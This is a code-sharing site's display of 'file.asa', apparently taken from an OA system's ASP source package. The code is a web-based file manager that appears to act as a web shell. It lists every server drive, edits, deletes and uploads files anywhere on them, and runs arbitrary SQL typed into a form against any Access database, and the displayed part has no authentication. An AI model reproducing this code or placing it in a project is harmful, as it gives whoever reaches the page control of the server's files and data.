⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 file.asa

📁 oa系统源码 asp.net前台 sqlserver数据库
💻 ASA
📖 第 1 页 / 共 3 页
字号:
      <p>最多显示10条记录,要察看更多记录请使用SQL命令</p><br>
  </table>
<%call copyright
Response.End
end if
%>
<%
'----------------------------数据库对象列表---------------------------------------------
if request("op")="db" and request("dbname")<>"" then
call header
dbname=request("dbname")
Set objConn = Server.CreateObject("ADODB.Connection")
objConn.ConnectionString = DBDriver & dbname
objConn.Open
Set objTableRS = objConn.OpenSchema(20,Array(Empty, Empty, Empty, "TABLE"))
%>
<table width="100%" border="1" cellspacing="0" cellpadding="5" bordercolorlight="#000000" bordercolordark="#FFFFFF">
  <tr>
    <td width="19%" align="center" valign="top"><a href="<%=scriptname%>?op=db&dbname=<%=dbname%>"><%=objFSO.GetFilename(dbname)%></a><br>
      <br>
      <table width="95%" border="0" cellspacing="0" cellpadding="6">
        <%Do While Not objTableRS.EOF%> 
        <tr> 
          <td><font size="4" face="Wingdings">3</font> <a href="<%=scriptname%>?op=db&dbname=<%=Server.URLEncode(dbname)%>&tablename=<%=Server.URLEncode(objTableRS("Table_Name").Value)%>"><%=objTableRS("Table_Name").Value%></a></td>
        </tr>
        <%objTableRS.MoveNext
		Loop
		objTableRS.MoveFirst%> 
      </table>
    </td>
    <td width="81%" align="center" valign="top"><a href="<%=scriptname%>?op=sql&dbname=<%=dbname%>">执行SQL命令<br>
      </a> 
      <%While Not objTableRS.EOF%>
      <table width="98%" border="1" cellspacing="0" cellpadding="3" bordercolorlight="#000000" bordercolordark="#FFFFFF">
        <tr align="center" bgcolor="#FFFFCC"> 
          <td colspan="6"><font color="#660000" size="2"><b><%=objTableRS("Table_Name").Value%></b></font></td>
        </tr>
        <tr align="center"> 
          <td>字段名</td>
          <td>数据类型</td>
          <td>字段大小</td>
          <td>精度</td>
          <td>是否允许为空</td>
          <td>默认值</td>
        </tr>
        <tr> 
          <%
        Set objColumnRS = objConn.OpenSchema(4,Array(Empty, Empty, objTableRS("Table_Name").Value))
'		for i=0 to objColumnRS.fields.count - 1
'			response.Write(objColumnRS.fields(i).Name&"<BR>")
'		next
		While Not objColumnRS.EOF
        iLength = objColumnRS("Character_Maximum_Length")
		iPrecision = objColumnRS("Numeric_Precision")	
	            iScale = objColumnRS("Numeric_Scale")
		iDefaultValue = objColumnRS("Column_Default")
              	If IsNull(iLength) then iLength = "&nbsp;"	
	            If IsNull(iPrecision) then iPrecision = "&nbsp;"
		If IsNull(iScale) then iScale = "&nbsp;"
		If IsNull(iDefaultValue) then iDefaultValue = "&nbsp;"%>
          <td width="29%" height="8"><%=objColumnRS("Column_Name")%></td>
          <td width="12%" height="8"><%=fieldtype(objColumnRS("Data_Type"))%></td>
          <td width="11%" height="8"><%=iLength%></td>
          <td width="9%" height="8"><%=iPrecision%></td>
          <td width="17%" align="center" height="8"> 
            <%If objColumnRS("Is_Nullable") then
			Response.Write "是"
            else
            Response.write "否"
		End If%>
          </td>
          <td width="22%" height="8"><%=iDefaultValue%></td>
        </tr>
        <%	objColumnRS.MoveNext
	Wend
	objTableRS.MoveNext
	Set objColumnRS = Nothing
Response.write "<br>"
Wend
objTableRS.Close
Set objTableRS = Nothing
objConn.Close
Set objConn = Nothing
%>
      </table> </td>
      
      </table>
<%call copyright
Response.End
end if
%>
<%
'----------------------------执行SQL命令---------------------------------------------
if request("op")="sql" then
call header
dbname=request("dbname")
Set objConn = Server.CreateObject("ADODB.Connection")
objConn.ConnectionString = DBDriver & dbname
objConn.Open
Set objTableRS = objConn.OpenSchema(20,Array(Empty, Empty, Empty, "TABLE"))
j=0
%>
<table width="100%" border="1" cellspacing="0" cellpadding="5" bordercolorlight="#000000" bordercolordark="#FFFFFF">
  <tr>
    <td width="13%" align="center" valign="top"><a href="<%=scriptname%>?op=db&dbname=<%=Server.URLEncode(dbname)%>"><%=objFSO.GetFilename(dbname)%></a><br>
      <br>
      <table width="95%" border="0" cellspacing="0" cellpadding="6">
        <%Do While Not objTableRS.EOF%> 
        <tr> 
          <td><font size="4" face="Wingdings">3</font> <a href="<%=scriptname%>?op=db&dbname=<%=Server.URLEncode(dbname)%>&tablename=<%=Server.URLEncode(objTableRS("Table_Name").Value)%>"><%=objTableRS("Table_Name").Value%></a></td>
        </tr>
        <%objTableRS.MoveNext
		Loop%> 
      </table>
    </td>
    <td width="87%" align="center" valign="top"> 
      <form action="<%=scriptname%>" method="post" name="sqlcmd" id="sqlcmd">
      <table width="100%" border="0" cellspacing="0" cellpadding="0">
        <tr valign="top"> 
          <td align="center">
				<input name="cmd" type="text" id="cmd" size="60">
              <input name="op" type="hidden" id="op" value="sql">
			  <input name="dbname" type="hidden" id="dbname" value="<%=request("dbname")%>">
              <input type="submit" value="执行SQL"></td>
        </tr>
      </table>
      </form> 
      <table width="100%" border="1" cellspacing="0" cellpadding="3" bordercolorlight="#000000" bordercolordark="#FFFFFF">
        <tr bgcolor="#CCCCCC" align="center" valign="top">
<%if request("cmd")<>"" then
mysql=request("cmd")
Set objRS=objConn.Execute(mysql)
'response.write "<td>操作</td>"
if objrs.state = 1 then 
For i=0 to objRs.Fields.Count-1
Response.write"<td><b>"&objRS.Fields(i).name&"</b></td>"
Next
Response.write "</tr>"
if objrs.eof then
%>
<%else
DO While NOT objRS.Eof
Response.write "<tr>"
%>

<%
For i=0 to objRs.Fields.Count-1
Response.write"<td>"
If IsNull(objRs.Fields(i).value) or objRs.Fields(i).value="" or objRs.Fields(i).value=" " then
response.write "&nbsp;"
else
  Response.write Server.HTMLEncode(objRs.Fields(i).value)
 end if
Response.write"</td>"
Next
Response.write"</tr>"
objRS.MoveNext
j=j+1
Loop
end if
set objRs = nothing
end if
end if
set objTableRS = nothing
objConn.Close
set objConn = nothing
%>
     </table>
      <br>
      <%if request("cmd")<>"" then response.Write("命令执行成功,返回 <font color=""#FF0000"">"&j&"</font> 条记录")%>
  </table>
<%call copyright
Response.End
end if
%>
<%
'----------------------------文件列表---------------------------------------------
%>
<%call header%>
<table width="100%" border="0" cellspacing="0" cellpadding="0">
  <tr align="center"> 
    <td height="87"> 
      <table width="100%" border="1" cellspacing="0" cellpadding="5" bordercolorlight="#000000" bordercolordark="#FFFFFF">
        <tr> 
          <td width="19%" align="center">文件夹列表</td>
          <td width="81%" align="center"><a href="<%=scriptname%>?op=upload&folder=<%=Server.urlencode(session("currentfolder"))%>">上传文件</a>&nbsp; 
            <a href="<%=scriptname%>?op=new&folder=<%=Server.urlencode(session("currentfolder"))%>">新建文件</a>&nbsp; 
            <a href="<%=scriptname%>?op=newfolder&folder=<%=Server.urlencode(session("currentfolder"))%>">新建文件夹</a>&nbsp; 
            <a href="<%=scriptname%>?op=delfolder&folder=<%=Server.urlencode(session("currentfolder"))%>" onclick="return confirm('真的要删除 <%=Replace(session("currentfolder"),"\","\\")%> 吗?\n\n该文件夹的所有文件也将被删除')">删除当前文件夹</a></td>
        </tr>
        <tr> 
          <td width="19%" align="center" valign="top"> 
              <table width="98%" border="0" cellspacing="0" cellpadding="3">
                <tr> 
                  <td height="13" align="center" colspan="2"> <%if session("currentfolder")<>strrootFolder then
response.write "<a href='"&scriptname&"?folder="&objFSO.GetParentFolderName(session("currentfolder"))&"'>返回上级目录</a>"
else
response.write "当前为根目录"
End if
dim objfolder,objSubFolder
Set objFolder = objFSO.GetFolder(session("currentfolder"))
%></td>
                  <%For Each objSubFolder in objFolder.SubFolders%> </tr>
                <tr> 
                  <td width="11%">&nbsp;</td>
                  
                <td width="89%"><font face="Wingdings">1</font> 
                  <a href="<%=scriptname%>?folder=<%=Server.urlencode(prefix&"\"&objSubFolder.Name)%>"> 
                  <%=objSubFolder.Name%></a></td>
                </tr>
                <%Next%> 
              </table>
          </td>
          <td width="81%" align="center" valign="top">
<table width="98%" border="0" cellspacing="0" cellpadding="4" bordercolorlight="#cccccc" bordercolordark="#FFFFFF">
              <tr bgcolor="#FFFFD2"> 
                <td width="26%"><font color="#000066" size="2">文件名称</font></td>
                <td width="19%" align="right"><font color="#000066" size="2">文件大小</font></td>
                <td width="29%" align="center"><font color="#000066" size="2">文件类型</font></td>
                <td width="26%" align="center"><font color="#000066" size="2">文件操作</font></td>
              </tr>
              <%Dim objFile,extname,FileCount
	FileCount = 0
	FileSize = 0
    For Each objFile in objFolder.Files
	FileCount=FileCount + 1
    %>
              <tr> 
                <td width="26%"> 
                  <%extname=objFSO.GetExtensionName(objfile.name)%>
				  <%if extname<>"mdb" then%>
                  <a href="<%=scriptname%>?op=edit&filename=<%=Server.urlencode(prefix&"\"&objfile.name)%>"><%=objfile.name%></a> 
				  <%else%>
                  <a href="<%=scriptname%>?op=db&dbname=<%=Server.urlencode(prefix&"\"&objfile.name)%>"><%=objfile.name%></a> 
				  <%end if%>
                </td>
				<%FileSize = FileSize + objfile.size%>
                <td width="19%" align="right"><%=FormatNumber(Round(objfile.size/1024,1),1,-1)%> 
                  KB</td>
                <td width="29%" align="center"><%=objfile.type%></td>
                <td width="26%" align="center" valign="bottom"> 
                  <%if extname<>"mdb" then%>
                  <a href="<%=scriptname%>?op=edit&filename=<%=Server.urlencode(prefix&"\"&objfile.name)%>">修改</a> 
                  <%else%>
                  <a href="<%=scriptname%>?op=db&dbname=<%=Server.urlencode(prefix&"\"&objfile.name)%>">修改</a> 
                  <%end if%>
                  <a href="<%=scriptname%>?op=del&filename=<%=Server.urlencode(prefix&"\"&objfile.name)%>" onclick="return confirm('真的要删除<%=" "&objfile.name&" "%>吗?')">删除</a> 
                  <a href="<%=scriptname%>?op=copy&src=<%=Server.urlencode(prefix&"\"&objfile.name)%>" target="_blank">复制</a> 
                  <a href="<%=scriptname%>?op=db&dbname=<%=Server.urlencode(prefix&"\"&objfile.name)%>">数据库</a> </td>
              </tr>
              <%Next%>
              <tr align="center"> 
                <td colspan="4"><br>
                  总计文件个数:<font color="#FF0000"><%=FileCount%></font> ,大小:<font color="#FF0000"><%=FormatNumber(Round(FileSize/1024,1),1,-1)%></font> 
                  KB </td>
              </tr>
            </table>
          </td>
        </tr>
      </table>
    </td>
  </tr>
</table>
<%call copyright
set objFSO=Nothing%>
<%sub header%>
<%
currentfolder=request("folder")
if currentfolder<>"" then
  session("currentfolder")=currentfolder
end if
if right(session("currentfolder"),1)="\" then prefix=left(session("currentfolder"),len(session("currentfolder"))-1) else prefix=session("currentfolder")
%>
<table width="100%" border="0" cellspacing="0" cellpadding="0">
  <tr align="center"> 
    <td>
      <table width="100%" border="1" cellspacing="0" cellpadding="4" bordercolorlight="#000066" bordercolordark="#FFFFFF">
        <tr bgcolor="#FFEFDF"> 
          <td bgcolor="#FFEFDF">您的主目录:<font color=red><a href="<%=scriptname%>?folder=<%=Server.urlencode(strrootfolder)%>"><font color=red><%=strrootfolder%></font></a></font>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
            当前位置:<a href="<%=scriptname%>?folder=<%=Server.URLEncode(session("currentfolder"))%>"><font color=red><%=session("currentfolder")%></font></a> 
            &nbsp;&nbsp; 磁盘: 
            <%
			For Each thing in objFSO.Drives
				if thing.DriveLetter<>"A" and thing.DriveLetter<>"B" then
					if thing.isready then
						Response.write "<a href="""&scriptname&"?folder="&thing.DriveLetter&":\"" onmouseout=popout(0) onmouseover=""popup('<table width=160><tr><td width=50>盘符:</td><td align=center>"&thing.DriveLetter&"</td></tr><tr><td>卷标:</td><td align=center>"&thing.VolumeName&"</td></tr><tr><td>可用空间:</td><td align=right>"&FormatNumber(thing.FreeSpace/1024,0,-1)&"KB</td></tr><tr><td>磁盘容量:</td><td align=right>"&FormatNumber(thing.TotalSize/1024,0,-1)&"KB</td></tr><tr><td>文件系统:</td><td align=center>"&thing.FileSystem&"</td></tr></table>')"">"&thing.DriveLetter&":</a>&nbsp;&nbsp;"
					else
						Response.Write "<a href="""&scriptname&"?folder="&thing.DriveLetter&":\"" onmouseout=popout(0) onmouseover=""popup('磁盘没有准备好')"">"&thing.DriveLetter&":</a>&nbsp;&nbsp;"
					end if
				end if	
			NEXT
			%>
          </td>
        </tr>
      </table>
    </td>
  </tr>
</table>
<%end sub%>
<%sub copyright%>
<table width="100%" border="0" cellspacing="0" cellpadding="0">
  <tr>
    <td height="50" align="center">Welcome To Use Your File Manager.</td>
  </tr>
</table>
<%end sub%>
<%function fieldtype(typeid)
select case typeid
	case 130	fieldtype = "文本"
	case 2		fieldtype = "整型"
	case 3		fieldtype = "长整型"
	case 7		fieldtype = "日期/时间"
	case 5		fieldtype = "双精度型"
	case 11		fieldtype = "是/否"
	case 128	fieldtype = "OLE 对象"
	case else	fieldtype = typeid
end select
end function
function fillbefore(str,prefix,totallen)
str=CStr(str)
if len(str)<totallen then
	for i=1 to totallen-len(str)
		str = prefix & str
	next
end if
fillbefore = str
end function
%>
</html>

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -